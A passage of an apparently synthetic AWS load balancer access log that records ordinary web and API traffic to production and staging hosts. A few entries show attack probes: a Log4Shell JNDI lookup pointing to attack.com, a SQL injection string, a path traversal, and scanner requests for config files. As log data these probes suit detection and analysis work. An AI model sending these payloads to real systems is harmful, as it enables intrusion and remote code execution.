5746 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d575-f188c9cdc17748529c35f1c4" "staging-alb.example.com" "-" 6 2024-11-01T02:07:33.851730Z "forward" "-" "-" "51.17.219.111:8080" "200" "-" "-" -https 2024-11-01T02:07:34.828368Z prod-web-alb 16.93.95.61:34773 10.0.147.20:443 0.064787 0.177422 0.004914 301 301 590 9131 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d576-02df13331ec74a2488087b9f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:07:34.828368Z "forward" "-" "-" "10.0.147.20:443" "301" "-" "-" -https 2024-11-01T02:07:35.109718Z prod-web-alb 22.232.200.138:24995 10.0.211.187:443 0.085938 0.029156 0.024228 200 200 692 10381 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d577-af07e839138f4eb294aed4f1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:07:35.109718Z "forward" "-" "-" "10.0.211.187:443" "200" "-" "-" -https 2024-11-01T02:07:36.887451Z prod-web-alb 30.70.121.137:49246 10.0.4.234:443 0.058231 0.275255 0.041191 200 200 932 13159 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d578-1f4f871cdc814fa7897f5cd6" "prod-web-alb.example.com" "-" 5 2024-11-01T02:07:36.887451Z "forward" "-" "-" "10.0.4.234:443" "200" "-" "-" -https 2024-11-01T02:07:37.693586Z prod-api-alb 195.13.74.226:59255 10.0.188.64:443 0.037545 0.093744 0.017610 301 301 867 10631 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d579-e15742c50bee41f1966bfb08" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:37.693586Z "forward" "-" "-" "10.0.188.64:443" "301" "-" "-" -https 2024-11-01T02:07:38.060507Z prod-api-alb 43.98.49.177:14990 10.0.136.135:443 0.091472 0.158179 0.010507 200 200 985 6430 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d57a-b952e025d5cc4269b25d18b6" "prod-api-alb.example.com" "-" 4 2024-11-01T02:07:38.060507Z "forward" "-" "-" "10.0.136.135:443" "200" "-" "-" -https 2024-11-01T02:07:39.344168Z staging-alb 185.181.73.18:52454 187.80.113.113:80 0.094034 0.034017 0.093647 301 301 519 6917 "POST /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d57b-5c90d640c7534e11ba4e3c5c" "-" "-" 3 2024-11-01T02:07:39.344168Z "forward" "-" "-" "187.80.113.113:80" "301" "-" "-" -https 2024-11-01T02:07:39.637104Z prod-web-alb 100.141.160.183:47089 10.0.244.180:443 0.047393 0.060270 0.088298 302 302 889 11837 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d57b-8cbba1d951214961a51f3822" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:39.637104Z "forward" "-" "-" "10.0.244.180:443" "302" "-" "-" -http 2024-11-01T02:07:41.623083Z staging-alb 193.27.228.159:32601 245.165.192.34:8080 0.123398 0.041960 0.122591 301 301 118 14043 "GET /adminer.php HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d57d-e043e93e9d4649989ad61379" "-" "-" 8 2024-11-01T02:07:41.623083Z "forward" "-" "-" "245.165.192.34:8080" "301" "-" "-" -https 2024-11-01T02:07:43.432604Z prod-web-alb 146.226.224.168:52567 10.0.139.201:443 0.030481 0.338147 0.059397 404 404 924 4037 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d57f-64384fa54dbd459aba231589" "prod-web-alb.example.com" "-" 8 2024-11-01T02:07:43.432604Z "forward" "-" "-" "10.0.139.201:443" "404" "-" "-" -https 2024-11-01T02:07:45.170017Z prod-api-alb 21.201.23.72:55461 10.0.77.132:443 0.026671 0.126724 0.087754 200 200 449 3456 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d581-f5387f73c9894fd096f196df" "prod-api-alb.example.com" "-" 0 2024-11-01T02:07:45.170017Z "forward" "-" "-" "10.0.77.132:443" "200" "-" "-" -https 2024-11-01T02:07:46.541556Z prod-api-alb 210.143.5.47:58481 10.0.135.32:443 0.084008 0.273856 0.032430 302 302 842 2745 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d582-d6857320bada4e609d5ffa26" "prod-api-alb.example.com" "-" 10 2024-11-01T02:07:46.541556Z "forward" "-" "-" "10.0.135.32:443" "302" "-" "-" -https 2024-11-01T02:07:47.932625Z prod-api-alb 218.201.163.27:62643 10.0.254.18:443 0.072210 0.269758 0.073715 200 200 196 2438 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d583-f04757c2e3b840b087a0cd3a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:07:47.932625Z "forward" "-" "-" "10.0.254.18:443" "200" "-" "-" -https 2024-11-01T02:07:48.224796Z prod-api-alb 157.200.253.179:33796 10.0.215.140:443 0.024319 0.198851 0.024250 200 200 983 6614 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d584-8fe463fcd6834f48a9f7364d" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:48.224796Z "forward" "-" "-" "10.0.215.140:443" "200" "-" "-" -https 2024-11-01T02:07:48.654687Z prod-api-alb 63.102.36.29:62505 10.0.78.115:443 0.082439 0.056456 0.005650 200 200 496 4863 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d584-9c6b7fec1cc942af8ca0f319" "prod-api-alb.example.com" "-" 9 2024-11-01T02:07:48.654687Z "forward" "-" "-" "10.0.78.115:443" "200" "-" "-" -https 2024-11-01T02:07:49.319710Z prod-api-alb 46.100.85.181:27258 10.0.166.47:443 0.022954 0.483470 0.042100 200 200 895 9944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d585-ce93fdfb9c0b4f6b98bd9da4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:07:49.319710Z "forward" "-" "-" "10.0.166.47:443" "200" "-" "-" -https 2024-11-01T02:07:51.276482Z prod-web-alb 239.133.83.226:20713 10.0.120.214:443 0.097981 0.475919 0.067377 200 200 517 11069 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d587-4c7466af633341fcadbf4ae6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:07:51.276482Z "forward" "-" "-" "10.0.120.214:443" "200" "-" "-" -https 2024-11-01T02:07:52.455183Z prod-web-alb 209.228.215.109:47051 10.0.35.207:443 0.041185 0.255978 0.097594 302 302 827 13462 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d588-33c60b5e41054802b8c956eb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:07:52.455183Z "forward" "-" "-" "10.0.35.207:443" "302" "-" "-" -http 2024-11-01T02:07:53.545114Z staging-alb 189.243.251.229:52596 52.86.26.88:443 0.109517 0.364279 0.012551 200 200 151 8808 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d589-7a6957d801c2490f865231f9" "staging-alb.example.com" "-" 3 2024-11-01T02:07:53.545114Z "forward" "-" "-" "52.86.26.88:443" "200" "-" "-" -http 2024-11-01T02:07:53.749149Z staging-alb 135.20.27.168:41968 175.251.80.118:80 0.048482 0.093881 0.065848 301 301 47 2631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d589-046ba6f4084249419dabdacd" "staging-alb.example.com" "-" 9 2024-11-01T02:07:53.749149Z "forward" "-" "-" "175.251.80.118:80" "301" "-" "-" -https 2024-11-01T02:07:54.240204Z staging-alb 7.113.78.135:17969 173.157.55.53:8080 0.145035 0.403747 0.004420 200 200 656 9935 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58a-59edbbd77cb14170b9be9d06" "staging-alb.example.com" "-" 10 2024-11-01T02:07:54.240204Z "forward" "-" "-" "173.157.55.53:8080" "200" "-" "-" -http 2024-11-01T02:07:54.558298Z staging-alb 213.254.15.255:13307 43.233.216.143:8080 0.009743 0.290946 0.112065 200 200 967 13479 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d58a-614ba15e7248453180e634c5" "staging-alb.example.com" "-" 1 2024-11-01T02:07:54.558298Z "forward" "-" "-" "43.233.216.143:8080" "200" "-" "-" -https 2024-11-01T02:07:54.670353Z prod-web-alb 8.50.106.219:30838 10.0.106.179:443 0.017410 0.417706 0.050973 200 200 962 11418 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d58a-aed3c25bb8b74cb1b68503f7" "prod-web-alb.example.com" "-" 2 2024-11-01T02:07:54.670353Z "forward" "-" "-" "10.0.106.179:443" "200" "-" "-" -https 2024-11-01T02:07:55.829949Z prod-web-alb 248.38.111.30:22096 10.0.41.242:443 0.059560 0.463128 0.057072 301 301 572 11246 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d58b-fd994f3b3c574cb191df6745" "prod-web-alb.example.com" "-" 9 2024-11-01T02:07:55.829949Z "forward" "-" "-" "10.0.41.242:443" "301" "-" "-" -https 2024-11-01T02:07:56.961689Z staging-alb 71.83.2.66:13002 100.86.175.250:80 0.041327 0.308528 0.042467 302 302 278 2929 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58c-160044b14ee84cf099610ea2" "staging-alb.example.com" "-" 6 2024-11-01T02:07:56.961689Z "forward" "-" "-" "100.86.175.250:80" "302" "-" "-" -https 2024-11-01T02:07:57.738159Z staging-alb 197.184.111.101:15424 150.151.248.179:80 0.136922 0.527860 0.095305 200 200 642 7041 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d58d-822814bb34bb480e91a7fd4d" "staging-alb.example.com" "-" 4 2024-11-01T02:07:57.738159Z "forward" "-" "-" "150.151.248.179:80" "200" "-" "-" -https 2024-11-01T02:07:59.639538Z prod-api-alb 185.181.15.100:58619 10.0.28.145:443 0.095043 0.089552 0.020183 302 302 802 10716 "GET /config.php~ HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d58f-d795762173514030a9c3b361" "-" "-" 0 2024-11-01T02:07:59.639538Z "forward" "-" "-" "10.0.28.145:443" "302" "-" "-" -http 2024-11-01T02:08:00.294623Z staging-alb 194.11.234.56:11979 112.150.166.197:8080 0.028702 0.038764 0.115352 200 200 967 7740 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d590-e480f2c961e543d896a1d802" "staging-alb.example.com" "-" 3 2024-11-01T02:08:00.294623Z "forward" "-" "-" "112.150.166.197:8080" "200" "-" "-" -https 2024-11-01T02:08:00.586708Z prod-api-alb 221.199.160.160:26255 10.0.60.212:443 0.017761 0.481313 0.080906 301 301 596 4754 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d590-f5be2a32781e4811bf13a622" "prod-api-alb.example.com" "-" 5 2024-11-01T02:08:00.586708Z "forward" "-" "-" "10.0.60.212:443" "301" "-" "-" -https 2024-11-01T02:08:02.005312Z prod-api-alb 116.40.254.1:21780 10.0.139.168:443 0.093038 0.190997 0.076386 301 301 591 3316 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d592-a300d272896f47b8bc0a51b7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:08:02.005312Z "forward" "-" "-" "10.0.139.168:443" "301" "-" "-" -https 2024-11-01T02:08:02.705881Z staging-alb 69.115.154.164:41446 225.65.119.194:8080 0.095639 0.296955 0.071579 200 200 795 2796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d592-0dd39d262f63461f9fa62935" "staging-alb.example.com" "-" 0 2024-11-01T02:08:02.705881Z "forward" "-" "-" "225.65.119.194:8080" "200" "-" "-" -https 2024-11-01T02:08:04.440877Z prod-api-alb 225.223.137.57:62787 10.0.253.10:443 0.020665 0.315107 0.026018 200 200 584 5657 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d594-865f71efe7ab49aca93b9a64" "prod-api-alb.example.com" "-" 10 2024-11-01T02:08:04.440877Z "forward" "-" "-" "10.0.253.10:443" "200" "-" "-" -https 2024-11-01T02:08:05.281522Z prod-api-alb 251.117.89.134:47176 10.0.184.54:443 0.064044 0.392051 0.060914 301 301 608 14124 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d595-553e54d55fac4dfc9f307f01" "prod-api-alb.example.com" "-" 4 2024-11-01T02:08:05.281522Z "forward" "-" "-" "10.0.184.54:443" "301" "-" "-" -http 2024-11-01T02:08:06.429744Z staging-alb 168.248.28.186:38425 1.96.157.91:80 0.072168 0.405223 0.149859 302 302 92 6671 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d596-ec2aacc44452426cbd75957a" "staging-alb.example.com" "-" 7 2024-11-01T02:08:06.429744Z "forward" "-" "-" "1.96.157.91:80" "302" "-" "-" -https 2024-11-01T02:08:08.317127Z prod-web-alb 222.203.161.93:23386 10.0.231.218:443 0.047059 0.049701 0.033543 200 200 309 11664 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d598-269f74d841ee4a369038c4bd" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:08.317127Z "forward" "-" "-" "10.0.231.218:443" "200" "-" "-" -https 2024-11-01T02:08:08.766885Z prod-web-alb 195.64.57.216:61968 10.0.95.56:443 0.025903 0.213283 0.037355 200 200 288 5109 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d598-127d4c475b5443679e1979e5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:08:08.766885Z "forward" "-" "-" "10.0.95.56:443" "200" "-" "-" -https 2024-11-01T02:08:10.073861Z prod-api-alb 37.115.226.229:45944 10.0.147.19:443 0.028523 0.136711 0.040366 404 404 135 1119 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d59a-e3b4ae77fadb46cf8121413b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:08:10.073861Z "forward" "-" "-" "10.0.147.19:443" "404" "-" "-" -https 2024-11-01T02:08:10.410474Z staging-alb 58.162.12.253:29919 226.68.26.13:8080 0.073813 0.030491 0.040057 302 302 37 14948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d59a-7064bcbf36a84deba2bb4f9a" "staging-alb.example.com" "-" 3 2024-11-01T02:08:10.410474Z "forward" "-" "-" "226.68.26.13:8080" "302" "-" "-" -https 2024-11-01T02:08:11.288865Z prod-web-alb 229.248.165.233:16095 10.0.64.43:443 0.003223 0.117884 0.063184 200 200 964 3549 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d59b-65bbc4e2b45a43baba4239df" "prod-web-alb.example.com" "-" 6 2024-11-01T02:08:11.288865Z "forward" "-" "-" "10.0.64.43:443" "200" "-" "-" -https 2024-11-01T02:08:12.963537Z staging-alb 45.155.205.35:42363 245.230.234.125:443 0.129738 0.624764 0.018718 404 404 689 10666 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d59c-dbf80d47960a410c8b35fbc0" "-" "-" 9 2024-11-01T02:08:12.963537Z "forward" "-" "-" "245.230.234.125:443" "404" "-" "-" -https 2024-11-01T02:08:14.668063Z prod-web-alb 83.34.52.225:10578 10.0.129.227:443 0.058613 0.251218 0.069003 200 200 838 12502 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d59e-489643612798400fa2514916" "prod-web-alb.example.com" "-" 8 2024-11-01T02:08:14.668063Z "forward" "-" "-" "10.0.129.227:443" "200" "-" "-" -https 2024-11-01T02:08:16.070146Z prod-web-alb 185.181.230.236:33345 10.0.5.28:443 0.043430 0.479218 0.028011 403 403 456 7110 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5a0-b7afe13ec8e645e5b4e9ccbf" "-" "-" 4 2024-11-01T02:08:16.070146Z "forward" "-" "-" "10.0.5.28:443" "403" "-" "-" -https 2024-11-01T02:08:17.861422Z staging-alb 193.27.228.155:31338 29.83.128.59:8080 0.051523 0.029143 0.108084 500 500 459 1812 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5a1-b9f6cbf69a004afca3dea57a" "-" "-" 8 2024-11-01T02:08:17.861422Z "forward" "-" "-" "29.83.128.59:8080" "500" "-" "-" -https 2024-11-01T02:08:18.099332Z prod-api-alb 55.22.90.190:51668 10.0.239.251:443 0.077205 0.249952 0.020748 301 301 441 14245 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5a2-a1ca4f8c53b348998db649ea" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:18.099332Z "forward" "-" "-" "10.0.239.251:443" "301" "-" "-" -http 2024-11-01T02:08:19.791101Z staging-alb 124.174.149.193:60858 12.232.141.84:80 0.001050 0.388032 0.050467 200 200 171 6075 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5a3-4330d046900045f6ae2d11af" "staging-alb.example.com" "-" 9 2024-11-01T02:08:19.791101Z "forward" "-" "-" "12.232.141.84:80" "200" "-" "-" -http 2024-11-01T02:08:20.816205Z staging-alb 61.238.119.101:24232 185.251.248.100:8080 0.037024 0.227092 0.076733 301 301 821 14436 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5a4-6a19ccc8787643c1970476ca" "staging-alb.example.com" "-" 3 2024-11-01T02:08:20.816205Z "forward" "-" "-" "185.251.248.100:8080" "301" "-" "-" -https 2024-11-01T02:08:21.142220Z prod-api-alb 59.134.39.55:34713 10.0.214.155:443 0.099758 0.444165 0.095309 200 200 19 5954 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5a5-fec44bfb73804005ae2e6f41" "prod-api-alb.example.com" "-" 8 2024-11-01T02:08:21.142220Z "forward" "-" "-" "10.0.214.155:443" "200" "-" "-" -https 2024-11-01T02:08:23.094940Z prod-web-alb 25.169.196.211:48296 10.0.143.186:443 0.044070 0.376936 0.016381 200 200 185 9816 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5a7-55f262d3742c4df781c54c33" "prod-web-alb.example.com" "-" 4 2024-11-01T02:08:23.094940Z "forward" "-" "-" "10.0.143.186:443" "200" "-" "-" -https 2024-11-01T02:08:24.698414Z prod-api-alb 90.78.2.99:15751 10.0.146.225:443 0.082319 0.467548 0.044608 200 200 934 14579 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 